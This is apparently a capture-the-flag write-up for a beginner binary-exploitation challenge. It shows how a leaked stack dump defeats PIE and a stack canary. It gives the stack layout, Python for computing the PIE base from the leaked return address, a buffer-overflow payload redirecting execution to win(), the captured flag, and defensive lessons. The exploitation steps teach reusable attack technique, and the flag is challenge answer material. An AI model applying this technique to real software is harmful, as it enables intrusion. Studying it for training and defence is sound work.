Binary Exploitation
Medium
200 points

PIE Intro

Recuite 2025 - HCMUS
6 tháng 10, 2025
PIE
ASLR
Information Leak
Base Calculation
Recuite 2025 - HCMUS
Binary Exploitation

PIE Intro - Writeup

Challenge Information

  • Category: Pwn
  • Difficulty: Beginner
  • Protections: Full (PIE, NX, Canary, RELRO, SHSTK, IBT)

Analysis

PIE (Position Independent Executable)

All addresses are randomized (ASLR) but relative offsets remain fixed — meaning the distance (offset) between functions/points in the binary file does not change.

Stack Dump Reveal

Stack dump shows:

  • Buffer content
  • Canary at offset 0x18
  • Saved RBP
  • Return address at offset 0x28 ← This is the key!

Stack Layout

[rbp-0x20]  buffer[0:24]     ← scanf writes data here
[rbp-0x08]  canary           ← must be preserved!
[rbp+0x00]  saved rbp        
[rbp+0x08]  return address   ← leaked! Points to main+0x12

Leaked Return Address

Return address points to instruction right after call vuln in main():

13e1 <main>:
    13ee: call 0x134f <vuln>
    13f3: mov eax, 0x0     ← return address points here!

PIE Bypass Technique

Idea: take the leaked address, subtract known offset to calculate PIE base, then add offset of win function to get actual win address.

leaked_ret_addr = 0x6491c35643f3  # From stack dump
ret_offset = 0x13f3               # Known offset in binary
pie_base = leaked_ret_addr - ret_offset
win_addr = pie_base + 0x1229      # Calculate win() address

Exploitation

Payload Structure

payload = b"A" * 0x18         # Fill buffer
payload += p64(canary)        # Preserve canary
payload += b"B" * 8           # Saved RBP (doesn't matter)
payload += p64(win_addr)      # Return → win()

Parsing Stack Dump (Example)

# Get return address at offset 0x28
match = re.search(rb"\|0x28\s+\|0x[0-9a-f]+\|0x([0-9a-f]+)\|", dump)
ret_addr = int(match.group(1), 16)

# Get canary at offset 0x18
match = re.search(rb"\|0x18\s+\|0x[0-9a-f]+\|0x([0-9a-f]+)\|", dump)
canary = int(match.group(1), 16)

Address Calculation

RET_ADDR_OFFSET = exe.sym["main"] + 0x12  # = 0x13f3 (known offset)
WIN_OFFSET = exe.sym["win"]               # = 0x1229 (win offset)

pie_base = leaked_ret_addr - RET_ADDR_OFFSET
win_addr = pie_base + WIN_OFFSET

Flag

BPCTF{just_leak_the_base_23761d7e6937197aea0f362a955c7dbf}

Key Takeaways

What is PIE?

PIE stands for Position Independent Executable — base of program is loaded randomly each time (ASLR), but:

  • Function addresses change every run
  • Relative offsets between functions/variables in binary are constant

How to Bypass PIE

To break PIE:

  1. Leak one code address (e.g. return addr, pointer, resolved GOT entry...)
  2. Calculate PIE base = leaked_addr - known_offset
  3. Calculate target address = pie_base + target_offset

Defense in Depth

  • PIE alone is not enough (broken if code address leaked).
  • Canary alone is not enough if canary leaked.
  • PIE + Canary can still be bypassed if information leak exists.
  • Real defense: prevent sensitive information leaks (stack dump, printf stack content, etc.).

Lessons

  1. PIE prevents nothing if attacker has address leak.
  2. Stack dumps (or any info leak) are extremely dangerous.
  3. ASLR/PIE only randomizes base — fixed offsets allow recalculation after leak.
  4. A single leak error can collapse multiple layers of defense.
200
Points
Medium
Difficulty
Binary Exploitation
Category